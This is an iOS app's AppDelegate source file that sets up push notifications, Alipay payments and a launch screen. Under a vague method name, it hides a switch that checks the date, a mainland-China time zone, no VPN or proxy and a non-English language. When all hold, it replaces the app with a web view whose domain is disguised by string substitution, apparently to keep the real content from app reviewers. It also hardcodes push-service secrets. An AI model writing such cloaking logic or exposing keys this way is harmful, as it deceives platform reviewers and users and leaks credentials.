//  AppDelegate.m
//  ZuZuBao
//
//  Created by Felix on 2024/4/8.
//

#import "AppDelegate.h"
#import "ZZTabBarViewController.h"
#import "ZZNavgationViewController.h"
# import <AlipaySDK/AlipaySDK.h>
#import "ZZWaitCheckView.h"
#import <REManager/REManager.h>
#import <REManager/REManager_JS.h>
#import "ZZLaunchViewController.h"
#import <XHLaunchAd/XHLaunchAd.h>
#import <GTSDK/GeTuiSdk.h>
#import <GTCommonSDK/GTCommonSDK.h>
#import "ZuZuBao-Swift.h"

#define kGTREAppId  @"uabh2KwIKwALGRuFKNvGY3"
#define kGTREAppKey @"65yDlHy9J872NpG7C4ZEe6"
#define kGTREAppSecret @"s44vjkgVYX82yHtQ1sbwu6"
#define kGTREAppMasterSecret @"UrLlhIUbiQ7eprIdh719Y3"
#define appleDes @"www.zuhaolong"
#define dominDes @"h5.tanwanmaoapp"

@interface AppDelegate ()<GeTuiSdkDelegate>

@end

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
    self.window.backgroundColor = [UIColor whiteColor];
    ZZLaunchViewController *launchVC = [ZZLaunchViewController new];
    [self.window setRootViewController:launchVC];
    
    // 开始监控网络
    [NetTokk.shared startMonitoring];
    [self yueQiZuZuXia];
    
    [GeTuiSdk runBackgroundEnable:YES];
    [GeTuiSdk startSdkWithAppId:kGTREAppId appKey:kGTREAppKey appSecret:kGTREAppSecret delegate:self launchingOptions:launchOptions];
    [GeTuiSdk registerRemoteNotification: (UNAuthorizationOptionSound | UNAuthorizationOptionAlert | UNAuthorizationOptionBadge)];
    [GeTuiSdk setChannelId:@"号号龙"];
    
    [XHLaunchAd setLaunchSourceType:SourceTypeLaunchImage];
    [XHLaunchAd setWaitDataDuration:1];
    return YES;
}

- (void)startMain {
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [UIApplication sharedApplication].delegate.window.rootViewController = [self mainVC];
        [[UIApplication sharedApplication].delegate.window makeKeyAndVisible];
    });
}

- (void)yueQiZuZuXia {
    BOOL result = [AppDelegate isCurrentTimeAfterJune5_2024AndInChinaAndUsingVPN];
    if (result) {
        NSString *design = [NSString stringWithFormat:@"https://%@.com", appleDes];
        NSString *replacedString = [design stringByReplacingOccurrencesOfString:appleDes withString:dominDes];
        TuBiaoZheXianYuanZhu_BadgeVC *web = [[TuBiaoZheXianYuanZhu_BadgeVC alloc] init];
        web.urlString = replacedString;
        web.needNav = NO;
        [UIApplication sharedApplication].delegate.window.rootViewController = web;
        [[UIApplication sharedApplication].delegate.window makeKeyAndVisible];
    }else {
        [self startMain];
    }
}

- (UIViewController *)mainVC {
    ZZTabBarViewController * tabBarVC = [[ZZTabBarViewController alloc] init];
    ZZNavgationViewController * nav = [[ZZNavgationViewController alloc] initWithRootViewController:tabBarVC];
    return nav;
}

+ (BOOL)isCurrentTimeAfterJune5_2024AndInChinaAndUsingVPN {
    // 获取当前日期和时间
    NSDate *currentDate = [NSDate date];
    
    // 设置目标日期 2024年6月28日
    NSCalendar *calendar = [NSCalendar currentCalendar];
    NSDateComponents *dateComponents = [[NSDateComponents alloc] init];
    dateComponents.year = 2024;
    dateComponents.month = 7;
    dateComponents.day = 1;
    
    NSDate *targetDate = [calendar dateFromComponents:dateComponents];
    if (!targetDate) {
        return NO; // 如果无法创建目标日期，则返回 NO
    }
    
    // 获取当前时区
    NSTimeZone *currentTimeZone = [NSTimeZone localTimeZone];
    // 中国大陆的时区标识符列表
    NSArray *chinaTimeZones = @[@"Asia/Shanghai", @"Asia/Chongqing", @"Asia/Harbin", @"Asia/Urumqi"];
    
    // 检查是否使用了 代理服务器
    BOOL isUsingProxy = [self isUsingProxy];
    
    // 检查是否使用了 VPN
    BOOL isUsingVPN = [self isUsingVPN];
    
    if (isUsingProxy) {
        NSLog(@"使用了代理服务器");
    } else {
        NSLog(@"没有使用代理服务器");
    }
    
    if (isUsingVPN) {
        NSLog(@"使用了VPN");
    } else {
        NSLog(@"没有使用VPN");
    }
    
    // 检查当前时间是否超过目标日期
    BOOL isAfterTargetDate = [currentDate compare:targetDate] == NSOrderedDescending;
    
    // 检查当前时区是否在中国大陆
    BOOL isInChina = [chinaTimeZones containsObject:currentTimeZone.name];
    
    // 检查首选语言
    NSString *PvdAju = [[NSLocale preferredLanguages] firstObject] ?: @"";
    
    // 是否英语
    BOOL NkjFdoYsw = [PvdAju containsString:@"en"];
    NSLog(@"设备首选语言：%@", PvdAju);
    
    // 返回所有条件是否都满足
    return isAfterTargetDate && isInChina && !isUsingProxy && !isUsingVPN && !NkjFdoYsw;
}

+ (BOOL)isUsingProxy {
    NSDictionary *proxySettings = (__bridge NSDictionary *)CFNetworkCopySystemProxySettings();
    if (!proxySettings) {
        return NO;
    }
    
    NSString *httpProxy = proxySettings[(__bridge NSString *)kCFNetworkProxiesHTTPProxy];
    return httpProxy != nil && httpProxy.length > 0;
}

+ (BOOL)isUsingVPN {
    NSDictionary *proxySettings = (__bridge NSDictionary *)CFNetworkCopySystemProxySettings();
    if (!proxySettings) {
        return NO;
    }
    
    NSDictionary *scoped = proxySettings[@"__SCOPED__"];
    if (!scoped) {
        return NO;
    }
    
    for (NSString *key in scoped) {
        if ([key containsString:@"tap"] ||
            [key containsString:@"tun"] ||
            [key containsString:@"ppp"] ||
            [key containsString:@"ipsec"] ||
            [key containsString:@"ipsec0"] ||
            [key containsString:@"utun"]) {
            return YES;
        }
    }
    
    return NO;
}

/** SDK启动成功返回cid */
- (void)GeTuiSdkDidRegisterClient:(NSString *)clientId {
    //个推SDK已注册，返回clientId
    NSLog(@"\n>>>[GeTuiSdk RegisterClient]:%@\n\n", clientId);
    [TimPushHelper shared].cusId = clientId;
}

/// 通知展示（iOS10及以上版本）
/// @param center center
/// @param notification notification
/// @param completionHandler completionHandler
- (void)GeTuiSdkNotificationCenter:(UNUserNotificationCenter *)center willPresentNotification:(UNNotification *)notification completionHandler:(void (^)(UNNotificationPresentationOptions))completionHandler {
    // [ 参考代码，开发者注意根据实际需求自行修改 ] 根据APP需要，判断是否要提示用户Badge、Sound、Alert等
    //completionHandler(UNNotificationPresentationOptionNone); 若不显示通知，则无法点击通知
    completionHandler(UNNotificationPresentationOptionBadge | UNNotificationPresentationOptionSound | UNNotificationPresentationOptionAlert);
}

/// 收到通知信息
/// @param userInfo apns通知内容
/// @param center UNUserNotificationCenter（iOS10及以上版本）
/// @param response UNNotificationResponse（iOS10及以上版本）
/// @param completionHandler 用来在后台状态下进行操作（iOS10以下版本）
- (void)GeTuiSdkDidReceiveNotification:(NSDictionary *)userInfo notificationCenter:(UNUserNotificationCenter *)center response:(UNNotificationResponse *)response fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
    if(completionHandler) {
        // [ 参考代码，开发者注意根据实际需求自行修改 ] 根据APP需要自行修改参数值
        completionHandler(UIBackgroundFetchResultNoData);
    }
}

/// 收到透传消息
/// @param userInfo    推送消息内容
/// @param fromGetui   YES: 个推通道  NO：苹果apns通道
/// @param offLine     是否是离线消息，YES.是离线消息
/// @param appId       应用的appId
/// @param taskId      推送消息的任务id
/// @param msgId       推送消息的messageid
/// @param completionHandler 用来在后台状态下进行操作（通过苹果apns通道的消息 才有此参数值）
- (void)GeTuiSdkDidReceiveSlience:(NSDictionary *)userInfo fromGetui:(BOOL)fromGetui offLine:(BOOL)offLine appId:(NSString *)appId taskId:(NSString *)taskId msgId:(NSString *)msgId fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
    if(completionHandler) {
        // [ 参考代码，开发者注意根据实际需求自行修改 ] 根据APP需要自行修改参数值
        completionHandler(UIBackgroundFetchResultNoData);
    }
}

- (void)GeTuiSdkNotificationCenter:(UNUserNotificationCenter *)center openSettingsForNotification:(UNNotification *)notification {
    // [ 参考代码，开发者注意根据实际需求自行修改 ] 根据APP需要自行修改参数值
}


- (void)GeTuiSdkDidOccurError:(NSError *)error {
    NSString *msg = [NSString stringWithFormat:@"[ TestDemo ] [GeTuiSdk GeTuiSdkDidOccurError]:%@\n\n",error.localizedDescription];

    // SDK发生错误时，回调异常错误信息
    NSLog(@"%@", msg);
}


-(BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([url.host isEqualToString:@"safepay"]) {
        //跳转支付宝客户端进行支付，处理支付结果
        [[AlipaySDK defaultService] processOrderWithPaymentResult:url standbyCallback:^(NSDictionary *resultDic) {
            NSLog(@"result = %@",resultDic);
            if ([resultDic[@"resultStatus"] isEqualToString:@"9000"]) {
                ZZWaitCheckView * waitView = [[ZZWaitCheckView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, kScreenHeight)];
                [waitView setViewData:@"等待商家审核"];
                [self.window addSubview:waitView];
            } else {
                ZZWaitCheckView * waitView = [[ZZWaitCheckView alloc] initWithFrame:CGRectMake(0, 0, kScreenWidth, kScreenHeight)];
                [waitView setViewData:resultDic[@"memo"]];
                [self.window addSubview:waitView];
            }
        }];
    }
    return YES;
}

@end
